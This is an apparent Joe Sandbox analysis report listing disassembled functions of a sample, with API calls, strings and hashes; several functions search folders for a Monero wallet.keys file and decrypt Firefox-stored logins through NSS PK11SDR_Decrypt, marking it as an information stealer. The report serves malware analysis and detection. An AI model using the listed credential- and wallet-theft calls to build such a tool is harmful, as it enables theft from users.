Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction ID: 32530da7b225af5604c85f2100c66249ca5f5c44963a3a24052f4869eb3cf05b
Opcode Fuzzy Hash: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction Fuzzy Hash: 31C2BF71A057418FD714CF29C980716BBE1BFC9328F28CA6DE4A98B795DB71E801CB85

Function 01014570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01014580
RtlAllocateHeap.NTDLL(00000000), ref: 01014587
wsprintfA.USER32 ref: 010145A6
FindFirstFileA.KERNEL32(?,?), ref: 010145BD
StrCmpCA.SHLWAPI(?,01020FC4), ref: 010145EB
StrCmpCA.SHLWAPI(?,01020FC8), ref: 01014601
FindNextFileA.KERNEL32(000000FF,?), ref: 0101468B
FindClose.KERNEL32(000000FF), ref: 010146A0
lstrcat.KERNEL32(?,00A5EAA8), ref: 010146C5
lstrcat.KERNEL32(?,00A5D8C0), ref: 010146D8
lstrlen.KERNEL32(?), ref: 010146E5
lstrlen.KERNEL32(?), ref: 010146F6

Strings

%s\%s, xrefs: 0101461B
%s\*, xrefs: 0101459A

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: c30afa298bcbe97622dceaf3b22156202c175dce49635294e84e473c68c0bd97
Instruction ID: 32f342dd1b9ad183bc1108be727bdb32aac825b41747e6068d59b67589f91e2f
Opcode Fuzzy Hash: c30afa298bcbe97622dceaf3b22156202c175dce49635294e84e473c68c0bd97
Instruction Fuzzy Hash: 5A5166B69402189BD774EB70DC8CFED737CAB58300F404589F64A97188EB7497858F91

Function 0100ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0100ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0100ED55
StrCmpCA.SHLWAPI(?,01021538), ref: 0100EDAB
StrCmpCA.SHLWAPI(?,0102153C), ref: 0100EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0100F2AE
FindClose.KERNEL32(000000FF), ref: 0100F2C3

Strings

%s\*.*, xrefs: 0100ED32

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f97481af64935db1d26c738407fabd919874f3567ca518f233042b599aeb5964
Instruction ID: 0f54ec25a11d0a5f66e5aec30982ec5a4b10bd591364252a334815ea84737609
Opcode Fuzzy Hash: f97481af64935db1d26c738407fabd919874f3567ca518f233042b599aeb5964
Instruction Fuzzy Hash: 22E12072A12159DAEB65FB60DD50EEE7338AF64210F4041D9B44B63095EF346F8ACF60

Function 6C5ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED6A6
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED712
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED7EA

Strings

<jemalloc>, xrefs: 6C5ED827
: (malloc) Error initializing arena, xrefs: 6C5ED82C

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction ID: bc35e40dba5c69a2e18889a69b92f486e11a6336a6dd67d67e250f73c367ca0d
Opcode Fuzzy Hash: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction Fuzzy Hash: 6691A371A047018FD714DF29C89076AB7E2EBC9318F15C92EE59AC7A81D730E845CB86

Function 0100DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,01020C2E), ref: 0100DE5E
StrCmpCA.SHLWAPI(?,010214C8), ref: 0100DEAE
StrCmpCA.SHLWAPI(?,010214CC), ref: 0100DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0100E3E0
FindClose.KERNEL32(000000FF), ref: 0100E3F2

Strings

\*.*, xrefs: 0100DE26

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 7dd29e864c3a16da3da0d1a689909a50f7772a6497d378c08e088c7220af89bb
Instruction ID: b79b6c8a9888012a17b0f26a359dbb509695600cd46b4b8d82f1a93ad950821f
Opcode Fuzzy Hash: 7dd29e864c3a16da3da0d1a689909a50f7772a6497d378c08e088c7220af89bb
Instruction Fuzzy Hash: 50F1AE75911159DADB25FB60DD94EEE7338BF24310F8041DAA48A63094EF346B8ACF60

Function 0100C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0100C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0100C87C
PK11_GetInternalKeySlot.NSS3 ref: 0100C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0100C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0100C8EB
lstrcat.KERNEL32(?,01020B46), ref: 0100C943
lstrcat.KERNEL32(?,01020B47), ref: 0100C957
PK11_FreeSlot.NSS3(?), ref: 0100C961
lstrcat.KERNEL32(?,01020B4E), ref: 0100C978

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: a2813080036247b28d24854d5c758d8b505ec0cd7857a7dfaf00c15a9e3a38df
Instruction ID: 7de99eed6d20543e5bde48993dfa249e197eee808e7ba8c5ccba80d10b610b58
Opcode Fuzzy Hash: a2813080036247b28d24854d5c758d8b505ec0cd7857a7dfaf00c15a9e3a38df
Instruction Fuzzy Hash: 954142B994421ADFEB20DF94DD89BFEB7B8BB44704F0042A8F509A7284D7745A84CF91

Function 013D4C1A Relevance: 12.9, Strings: 9, Instructions: 1601COMMON

Download Yara Rule

Strings

B:x, xrefs: 013D526E
;rOs, xrefs: 013D58DD
w!], xrefs: 013D4F2F
-).{, xrefs: 013D5A34
fao, xrefs: 013D59B9
9_, xrefs: 013D5168, 013D516C
s7j(, xrefs: 013D5BB4
%}5, xrefs: 013D528E
j,3\, xrefs: 013D5780

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -).{$9_$;rOs$B:x$fao$j,3\$s7j($w!]$%}5
API String ID: 0-2280561349
Opcode ID: 76040125eb10548c0cace7b39aad7657d338f28eb27858a2f9aad04153f338c2
Instruction ID: d779b0899d59582dcdd7a9c787678af2e2e58ce222b27c0cfbc441647c65398d
Opcode Fuzzy Hash: 76040125eb10548c0cace7b39aad7657d338f28eb27858a2f9aad04153f338c2
Instruction Fuzzy Hash: 9AB204F390C2049FE3146E2DEC8567AFBE9EF94720F1A493DE6C487744EA3598058687

Function 6C612C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C612C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C612C61

Part of subcall function 6C5C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
Part of subcall function 6C5C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C612C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C612E2D

Part of subcall function 6C5D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5D81DE

Strings

expected a Time entry, xrefs: 6C612E36
ProfileBuffer parse error: %s, xrefs: 6C612E3B
(root), xrefs: 6C61354F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction ID: ef2dcc30d764560abbf90830df5afec3147ae580a629a40c88572276322aab08
Opcode Fuzzy Hash: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction Fuzzy Hash: 0191A0B060C7418FD724DF28C48469EB7E1AFCA358F50892DE59A8BB50DB30D949CB5A

Function 6C5CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C5CDBDD
0, xrefs: 6C5CD852
-, xrefs: 6C5CD7DD
@, xrefs: 6C5CDAF6
9, xrefs: 6C5CDE7F
8, xrefs: 6C5CDC08
, xrefs: 6C5CDA88
0, xrefs: 6C5CDC7F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction ID: adc9b12200336557db5a61545e90a91351b0bd6fb09d3cfb7affbf44b336df61
Opcode Fuzzy Hash: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction Fuzzy Hash: 1362BD7578C3458FD701CE99C8D076ABBF2AF86358F184A0DE8D58BA91D3359885CB83

Function 6C63545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C638A4B

Strings

~q\l, xrefs: 6C6356C7, 6C639269, 6C639459, 6C635703, 6C63921F, 6C635740, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 23e043e57dc217da980821c20eb9e39ac25a4ca704f9ada4a9d1895217c2ff4a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: C3B1D572A0422A8FDB14CE68CC907D9B7B2EF85314F1822AAC54DDB791D730A985CB94

Function 6C63542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C63925C

Strings

~q\l, xrefs: 6C6356C7, 6C639269, 6C639459, 6C635703, 6C63921F, 6C635740, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
